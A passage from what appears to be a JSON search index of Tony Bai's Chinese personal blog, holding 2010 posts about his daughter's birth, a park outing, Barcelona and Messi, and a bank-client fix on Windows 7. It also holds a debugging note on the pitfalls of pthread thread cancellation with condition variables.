廷能走的更远。\n","permalink":"https://tonybai.com/2010/06/10/celebrate-the-first-month-of-my-daughter/","summary":"\u003cp\u003e时间过得真快，一转眼儿，我家宝宝都满月了！LP也终于出月子了^_^，可以分担一下我的“家务活儿”了^_^。\u003c/p\u003e\n\u003cp\u003e自从有了宝宝后，每天这心里就又多了份牵挂，上班时总是有打电话回家问问宝宝情况的冲动，也许这就是\u003ca href=\"http://tonybai.com/2010/05/11/now-i-am-a-father/\"\u003e当爸爸的感觉\u003c/a\u003e吧。\u003c/p\u003e","title":"宝宝满月了！"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2010/05/26/a-joke-test-ride/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"趣事一则：试驾"},{"content":"甄子丹的《叶问2》在4月底在大陆上映了，片子我还没看，也无法给出什么具体的评价，不过其在满大街BUS站点广告板上贴出来的影片海报却让我甚是触动。\n中国近代武者形象(无论是真实世界的还是电影中演绎的)成千上万，但是最赏心悦目的还是海报中的那个由甄子丹演绎的咏春大师叶问的形象 – 武之力、武之美、武之心，三者和谐统一，且具厚积而薄发之势。\n叶问2电影海报\n叶问2剧照\n","permalink":"https://tonybai.com/2010/05/12/the-most-eyeable-image-of-chinese-warrior/","summary":"\u003cp\u003e甄子丹的《\u003ca href=\"http://movie.douban.com/subject/3578981/\"\u003e叶问2\u003c/a\u003e》在4月底在大陆上映了，片子我还没看，也无法给出什么具体的评价，不过其在满大街BUS站点广告板上贴出来的影片海报却让我甚是触动。\u003c/p\u003e\n\u003cp\u003e中国近代武者形象(无论是真实世界的还是电影中演绎的)成千上万，但是最赏心悦目的还是海报中的那个由甄子丹演绎的咏春大师叶问的形象 – 武之力、武之美、武之心，三者和谐统一，且具厚积而薄发之势。\u003c/p\u003e","title":"最赏心悦目的中国武者形象"},{"content":"十月等待，今朝得女；初为人父，甚是欣喜。\n十个月之前，一次“意外”让LP怀了我们爱情的结晶，虽然尚未做好为人父母的准备，但是我们还是接受了她。十月怀胎期间，我们小心翼翼，精心呵护，定期产检，宝宝发育一切正常。\n5月1日凌晨，老婆小便“见红”；\n5月2日凌晨，老婆出现“假临产”症状（不规律宫缩）；\n5月3日凌晨，老婆宫缩频度增加且稳定，疼痛感增强，已达到难忍的程度。2点左右穿好衣服带老婆去医院做内检。医生告知子宫口已经“开二指”，需马上住院；预计3日上午可分娩。我和老婆又是惊喜又有些担心，担心是否能在顺产过程中坚持下来，此时每完成一次宫缩老婆都会额头见汗。就这样老婆在病房里一直坚持到了早上7点多；我岳母、母亲等陆续赶到医院。由于躺在床上疼痛实在难忍，我搀扶老婆在病房的走廊里散步。7点半我把老婆将给我母亲，我下楼买早餐。\n当我提着美味的早餐兴冲冲的回到病房时，妈妈告知我老婆已经进入分娩室。不过此时还没有进入最后的分娩阶段，大夫允许丈夫陪护。我急忙拿起之前准备好的各种能量补充食物（巧克力、红牛饮料等）冲进分娩室，见到孤零零的躺在病床上忍受着宫缩剧痛的老婆，心如刀绞。目前我能做的只有给老婆补充能量以及语言的鼓励和安慰。老婆告诉我在我去买早餐期间，大夫给她做了检查，发现宫口居然已经开到了七指，所以才将其推入产房的。进产房后宫口就开到了九指，非常接近最后的分娩时刻了。整整在分娩室陪护了老婆一个小时，见识了女人生产过程中忍受的剧痛，我的手都被疼痛难耐的老婆握得生疼。\n9点左右老婆被助产师推入最终的分娩室中，我只能焦急的守在分娩室外等待。时钟在一分一秒的过去，我只能在心中祈祷老婆能早点把宝宝生出来，少受些痛苦。10点28分，主治大夫从分娩室出来了，我们赶紧围拢上去。大夫满面笑容的告知我们：“顺产一七斤六两的女孩儿”，我的心此刻才放了下来。后来据老婆说，宝宝的真正出生时刻在10点10分左右。\n5月5日，老婆在喝完猪手花生汤后开奶了，宝宝也第一次喝到母亲的乳汁。\n5月6日，老婆和小宝宝出院回家。宝宝出现些许黄疸现象。开始按医生嘱咐给宝宝吃药。\n5月8日，宝宝肚脐有少许出血，没有红肿迹象，及时消毒，问题不大；另外宝宝小便有血迹，属新生小女孩儿正常“假月经”现象。\n5月9日，宝宝黄疸减轻，小便依然有血迹。\n5月10日，小宝宝的脐带根掉了，一切正常。\n5月11日，宝宝小便中已无血迹，黄疸基本消失。\n这两天小宝宝睡眠和代谢都一切正常，老婆的乳汁也基本够宝宝吃的，顶多在晚上给宝宝喝一次奶粉。七斤六两的宝宝很硬实，喂奶后拍嗝时常常自己将小脑瓜抬起。\n这里上几张照片以作纪念：\n出生一周后的宝宝\n宝宝脸蛋特写\n至于我目前的任务：恶补如何抚养和教育孩子，努力学习如何当一个好爸爸。还有给宝宝起一个好听的独一无二的名字^_^。\n","permalink":"https://tonybai.com/2010/05/11/now-i-am-a-father/","summary":"\u003cp\u003e十月等待，今朝得女；初为人父，甚是欣喜。\u003c/p\u003e\n\u003cp\u003e十个月之前，一次“意外”让LP怀了我们爱情的结晶，虽然尚未做好为人父母的准备，但是我们还是接受了她。十月怀胎期间，我们小心翼翼，精心呵护，定期产检，宝宝发育一切正常。\u003c/p\u003e","title":"当爸爸了！"},{"content":"这一周过的有些“提心吊胆”，4月30日是LP的预产期，可是我们的宝贝并未如期而至（网上搜过，很多产妇都有过相同经历^_^），甚至是没有哪怕一点点的产前迹象。无论是LP还是我都有些坐不住了。以前周数少，我们还未曾如此担心过，现在是越到收官阶段日子越难熬，特别是心理压力很大。我们都期望宝贝能自然顺产，剖宫产能不做就不做，后者对大人和小孩都是弊多利少。但是通过彩超结果来看，LP的胎盘已经成熟，我们都怕孩子在肚子里出现缺氧等症状，所以这两天没少往医院跑。这不今天LP才有了些许“见红”症状，大早上就陪LP到医院请教大夫去了。做了个彩超，一切都还正常，宝贝照比上次“拍照”又长了许多。大夫建议最多再等一周。五一的医院产科忙得很，听护士说今天是好日子，有十多个产妇选择今天剖宫产子。听到这些，心里不禁感叹：“剖宫产子，给孩子选择出生日期”已然成为了一种风气，利乎，害乎？只有时间能做评判。\n今天是上海世博会开幕的日子，我打心底里想去上海游览一下世博，甚至这个计划在去年世博倒计时一周年的时候就定了。但是无奈LP后来怀上了宝贝，我也不得不放弃，只能在网上游游世博展馆了，不知道在世博闭幕之前是否还有机会去上海。\n今天的确是个好日子，沈阳也一扫一周以来的阴冷雨天，阳光明媚，温度回升，很是适合在户外活动，之前就和LP定了去北陵逛逛的计划，从医院出来后我们就直奔北陵公园。自从来沈阳工作之后还从来没有来过北陵，LP倒是来过一次，不过那也是她若干年前作学生的时候。来到北陵正门，呵！广场上满眼的都是人，以老人、小孩以及带小孩的夫妇居多，颇有些“上海人都去世博了，沈阳人都来北陵了”的架势。北陵，又称昭陵，是清朝第二代开国君主太宗皇太极以及孝端文皇后博乐济吉特氏的陵墓，距今300多年了，是国家级文物保护单位，同时也是世界文化遗产。公园门票6元(LP说她做学生那会儿门票才3元)，但不包括园内各著名景点门票，也就是说你想深入的了解昭陵，那还得掏腰包。\n我和LP其实就想在公园里散散步，体验一下节日的气氛，另外也是让宝贝在出生前也沾点帝王之气^_^。说实话，北陵这个景点开发的并不是很好，无论是从硬件设施、环境保护以及总体规划开发上，与我去过的南方城市的景点比起来差的还是很多的。公园门票收6元，有些过高，感觉免费最好。从公园正门到昭陵门口一个来回儿三公里左右，恰好符合LP散布的运动量，再多一点LP就会感到疲劳了。主路两旁尽是贩卖各种小吃、小百货的摊位，每个摊位前围观买东西的人都不少，好不热闹。\n在公园里为数不多的几个小景点前，拍照的人甚多，我这里也用手机拍了两张：\n爱新觉罗.皇太极\n昭陵\n我和LP都无意去深入参观昭陵，在公园里逛了两个小时后，都感觉有些疲劳了。安全第一，赶紧带着LP回家休息。\n宝贝的出生估计就在未来七天之内了，继续耐心等待！期望母子平安，一切顺利！\n","permalink":"https://tonybai.com/2010/05/01/a-tour-of-beiling-park-on-may-vacation/","summary":"\u003cp\u003e这一周过的有些“提心吊胆”，4月30日是LP的预产期，可是我们的宝贝并未如期而至（网上搜过，很多产妇都有过相同经历^_^），甚至是没有哪怕一点点的产前迹象。无论是LP还是我都有些坐不住了。以前周数少，我们还未曾如此担心过，现在是越到收官阶段日子越难熬，特别是心理压力很大。我们都期望宝贝能自然顺产，剖宫产能不做就不做，后者对大人和小孩都是弊多利少。但是通过彩超结果来看，LP的胎盘已经成熟，我们都怕孩子在肚子里出现缺氧等症状，所以这两天没少往医院跑。这不今天LP才有了些许“见红”症状，大早上就陪LP到医院请教大夫去了。做了个彩超，一切都还正常，宝贝照比上次“拍照”又长了许多。大夫建议最多再等一周。五一的医院产科忙得很，听护士说今天是好日子，有十多个产妇选择今天剖宫产子。听到这些，心里不禁感叹：“剖宫产子，给孩子选择出生日期”已然成为了一种风气，利乎，害乎？只有时间能做评判。\u003c/p\u003e","title":"五一逛北陵"},{"content":"今天凌晨2009-10赛季西班牙国家德比第二回合在皇家马德里主场伯纳乌上演，技高一筹的巴萨以2:0干净利落的赢得了这场关键战役。世界足球先生、金球先生、巴萨国王梅西继在欧冠四分之一决赛以一己之力击溃兵工厂阿森纳后，又在本场比赛中为巴萨先把头筹。这场比赛的胜利是巴萨整个团队的胜利，但是梅西绝对是这个团队中最最耀眼的那颗星。\n梅西打入个人在国家德比中的第七粒进球\n事实证明以这几批拉玛西亚青训营出产的巴萨年轻球员为基础的巴塞罗那队是目前世界范围内实力最强的一支球队（六冠王可证明、新赛季的战绩可证明）。用极具中国特色的段子来描述巴萨，那就是：\n巴萨代表着世界足球先进生产力的发展要求 – 拉玛西亚青训营\n巴萨代表着世界足球先进技术理念的前进方向 – 控球与进攻\n巴萨代表着世界最广大球迷们的足球利益 – 拥有世界范围内最多的球迷、最多的会员\n双杀皇马，击沉阿森纳后，巴萨在双线（西甲、欧冠）卫冕道路上都一片光明。不过比赛还是要一场一场的踢，卫冕道路上荆棘依旧。相信瓜迪奥拉和他的弟子们会继续将每一场比赛都当决赛来踢，只有保持这样的态度对待比赛、对待对手，一切才能掌握在自己手中。\n期待巴萨联赛卫冕！欧冠卫冕！\n","permalink":"https://tonybai.com/2010/04/11/barca-expect-defend-the-championship/","summary":"\u003cp\u003e今天凌晨2009-10赛季西班牙国家德比第二回合在\u003ca href=\"http://en.wikipedia.org/wiki/Real_Madrid\"\u003e皇家马德里\u003c/a\u003e主场\u003ca href=\"http://en.wikipedia.org/wiki/Santiago_Bernab%C3%A9u_Stadium\"\u003e伯纳乌\u003c/a\u003e上演，技高一筹的\u003ca href=\"http://en.wikipedia.org/wiki/FC_Barcelona\"\u003e巴萨\u003c/a\u003e以2:0干净利落的赢得了这场关键战役。\u003ca href=\"http://tonybai.com/2009/12/22/leomessi-fifa-world-player-of-2009/\"\u003e世界足球先生\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2009/12/01/leomessi-win-ballon-dor/\"\u003e金球先生\u003c/a\u003e、巴萨国王\u003ca href=\"http://tonybai.com/2008/11/18/i-like-this-picture-of-leo-messi-most/\"\u003e梅西\u003c/a\u003e继在欧冠四分之一决赛以一己之力击溃兵工厂阿森纳后，又在本场比赛中为巴萨先把头筹。这场比赛的胜利是巴萨整个团队的胜利，但是\u003ca href=\"http://en.wikipedia.org/wiki/Lionel_Messi\"\u003e梅西\u003c/a\u003e绝对是这个团队中最最耀眼的那颗星。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"http://lh4.ggpht.com/_SbsHcYT2rMI/S8EO2dmpWbI/AAAAAAAACjo/JAVecsloyzQ/s800/%E6%A2%85%E8%A5%BF%E6%89%93%E5%85%A5%E4%B8%AA%E4%BA%BA%E5%9C%A8%E5%9B%BD%E5%AE%B6%E5%BE%B7%E6%AF%94%E7%9A%84%E7%AC%AC%E4%B8%83%E7%B2%92%E8%BF%9B%E7%90%83.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e梅西打入个人在国家德比中的第七粒进球\u003c/p\u003e\n\u003cp\u003e事实证明以这几批拉玛西亚青训营出产的巴萨年轻球员为基础的巴塞罗那队是目前世界范围内实力最强的一支球队（\u003ca href=\"http://tonybai.com/2009/12/20/barca-historically-win-six-champions-in-one-season/\"\u003e六冠王\u003c/a\u003e可证明、新赛季的战绩可证明）。用极具中国特色的段子来描述巴萨，那就是：\u003c/p\u003e","title":"巴萨双杀皇马，憧憬卫冕"},{"content":"本周二，我们产品在某省的一个节点应用运行时出现了“死锁”情况，由于监控得力，我们在“死锁”后一分钟内就发现了这个情况，并及时重启了这个节点应用。由于是集群式系统，一个节点的故障对整个系统业务的运行几乎没造成什么影响。不过，这确是一个潜在的隐患。\n经过对系统当时运行日志的分析，我们将问题锁定在“线程取消”这个机制的使用上。在“生产者-消费者”实现思路这篇文章中，我曾经提到过我们目前采用的一种通知机制的实现。消费者进程的主线程创建一个子线程，后者一般挂起在条件变量上等待生产者侧的唤醒。一般情况下，这种机制运行都很良好，问题出就出在消费者进程要退出的时候。\n这个机制的实现也是逐渐“改”过来的。最初发现消费者进程退出时子线程长时间无法被唤醒导致无法及时退出，主线程因为要Join子线程，所以也阻塞在Join上，两个线程都挂起了，进程也就无法退出，导致后续业务逻辑上会出现一些问题。\n之前开发人员在解决这个问题上采用了“线程取消”机制，在主线程Join子线程前调用pthread_cancel取消了子线程。但由于对线程取消机制理解的不透彻，导致子线程在pthread_cond_wait这个\u0026quot;cancellation point\u0026quot;（man cancellation）上退出。在Sun官方文档中提到在pthread_cond_wait这个取消点退出线程时，线程仍然持有与条件变量关联的那把互斥锁，这样就会导致其他进程在上锁时挂起在互斥锁上。但由于我们在代码中使用了不可移植的死锁恢复机制，这个问题也就不那么明显，偶尔出现（锁状态不一致很可能会导致死锁恢复机制失效），就这个偶尔出现导致了上述问题。\n与另外一个产品线的同事做了一下内部沟通，发现他们那边的产品已经做了改善（或许是我们没有经常性同步库代码导致代码出现不一致了^_^）。最初他们通过调用pthread_cleanup_push注册取消点清理程序来完成mutex的unlock，该问题得到了暂时解决。但是子线程在其内部其他取消点的退出也带来的一些麻烦，比如open日志文件时。为了控制子线程在合适的取消点退出，他们采用了Disable Cancel State的线程设置，并在关键路径上使用“enable cancel -\u0026gt; pthread_testcancel -\u0026gt; disable cancel”来设置子线程退出的窗口。\n另外为了子线程能在主线程Cancel它的时候有机会被唤醒，主线程在cancel调用后，使用pthread_cond_broadcast给子线程提供了一次机会。当然这也让阻塞在同一个条件变量上的其他线程被“假唤醒”，但这种情况是可以被忍受的。\n在很多讲解多线程的书籍中都不建议使用cancel机制，这里也建议慎用。直到目前也许还有一些例外情况我们还没能考虑周全呢。\n","permalink":"https://tonybai.com/2010/04/09/be-careful-about-thread-cancellation/","summary":"\u003cp\u003e本周二，我们产品在某省的一个节点应用运行时出现了“死锁”情况，由于监控得力，我们在“死锁”后一分钟内就发现了这个情况，并及时重启了这个节点应用。由于是集群式系统，一个节点的故障对整个系统业务的运行几乎没造成什么影响。不过，这确是一个潜在的隐患。\u003c/p\u003e","title":"慎用线程取消"},{"content":"昨天，也就是23号是我的信用卡还款日，由于新本子还没来得及安装招行个人网上银行专业版，我就计划回家后用家里的本子还款。到家后也没急着上网还款，待吃完晚饭后发现联通的网络居然上不去了。打客服电话报故障，但等到今天早晨起来也不见网络恢复，只好到公司再还了。\n到了公司，安装招行专业版，然后准备恢复证书，居然发现网络不通；开始以为是公司代理设置的不正确，又反复调整了几次代理设置，甚至重启的本子也不见网络连通。在专业版自带的网络测试中总是提示网络不通。\n难道是招行服务器问题？让同事启动专业版试试，连通都没有问题，这下郁闷了。在命令行模式下手工PING招行服务器也无法PING通，难道是我的系统有问题了，摸不着头脑。又重装了专业版若干次，问题依旧。于是放弃了。\n又登录网页版个人普通版尝试转账，试了几次都失败。从招行网站看到还可以打客服电话还款，拨95555，居然无法打通或打通后串线，这时同事那边也反映浑南开发区辽宁移动的电话网络出大故障了，手机接通后都无法听到对方，或串线听到陌生人的声音，手机打固话或接听固话也是如此，想投诉连10086都打不通。2009年末就曾经出现过一次这种情况，那时故障一天都没有恢复，后来也不了了之。这次问题也不知道能持续多长时间。\n太衰了！只能期盼家里网络恢复后再转账了。\n晚上回到家里，网络已经恢复了，顺利做了信用卡还款，但是心有不甘。打开x60，尝试恢复证书，专业版依然提示无法连通网络。同样是Win7系统，为什么我的T400上的专业版就没有这个问题呢？到搬了家后的谷歌上Search了一下，发现了一些端倪，我的x60和T400还是有不同的。x60安装的是Win7 Ultimate，而T400装的是Win7 Home Premium，旗舰版在安全方面做的更严格。按照CmbChina forum中网友的一个建议，尝试以管理员身份运行招行专业版（右键点击招行专业版图标，选择\u0026quot;以管理员身份运行\u0026quot;），点击网络测试，居然顺利连通，证书恢复也就很顺利的完成了。这种“以管理员身份运行”的方式有些像Ubuntu里的sudo。\n不知道延迟还款一天是否会对个人信用记录有影响^_^，不管它了。\n","permalink":"https://tonybai.com/2010/03/24/solve-the-problem-of-china-merchants-bank-professional-on-windows/","summary":"\u003cp\u003e昨天，也就是23号是我的信用卡还款日，由于新本子还没来得及安装招行个人网上银行专业版，我就计划回家后用家里的本子还款。到家后也没急着上网还款，待吃完晚饭后发现联通的网络居然上不去了。打客服电话报故障，但等到今天早晨起来也不见网络恢复，只好到公司再还了。\u003c/p\u003e","title":"Win7下招行专业版通讯问题解决"},{"content":"公元前后，罗马暴政统治着地中海，在地中海沿岸人们交口相传着：“弥赛亚”将会降临拯救人世，这个传说传到了犹太人的耳朵里，他们在《圣经》中记录下来，后来将耶稣当作了“弥赛亚”。而在西班牙语里，“弥赛亚(Messiah)”的发音与梅西(Messi)是一摸一样的。\n— 以上摘自网友们从圣经故事和希腊神话里得到的启发：他们发现梅西(Messi)其实还就是神的化身。\n今天凌晨，梅西以神的化身降临萨拉戈萨La Romareda球场，三个精彩绝伦的进球帮助巴萨继续与死地皇马保持平分。这是梅西一周之内上演的第二次帽子戏法；加上其间梅西在欧冠八分之一决赛中的梅开二度，梅西在三场关键比赛中打入八个进球。用任何溢美之词都无法形容巴萨国王梅西的完美表现了！\n近几轮的梅西似乎无所不能：头球、远射、长途奔袭连过数人，如入无人之境。更关键的是梅西在比赛中的态度十分认真积极，对萨拉戈萨的第二个进球就是梅西通过中前场积极拼抢获得的机会；再有的就是欧冠对阵斯图加特一役，阿尔维斯右路长传，梅西奋力快速急追到门前头槌攻门，虽然头球太正被对方门将扑出，但从这次进攻来看，梅西进攻欲望十足。球场上快乐的梅西，就是对手的悲哀！但却是巴萨球迷、梅西FANS们的幸福。\n后记：白天实在是忙，连梅西三个进球的视频都没功夫看，晚上瞪着眼睛站在大电视前，盯着“天下足球”中梅西三个进球的回放，不禁惊呼：梅西，我的神啊！\n期待梅西2010年的更完美表现！\nMessi, Dios de futbol!\n","permalink":"https://tonybai.com/2010/03/22/leomessi-my-god/","summary":"\u003cp\u003e公元前后，罗马暴政统治着地中海，在地中海沿岸人们交口相传着：“弥赛亚”将会降临拯救人世，这个传说传到了犹太人的耳朵里，他们在《圣经》中记录下来，后来将耶稣当作了“弥赛亚”。而在西班牙语里，“弥赛亚(Messiah)”的发音与\u003ca 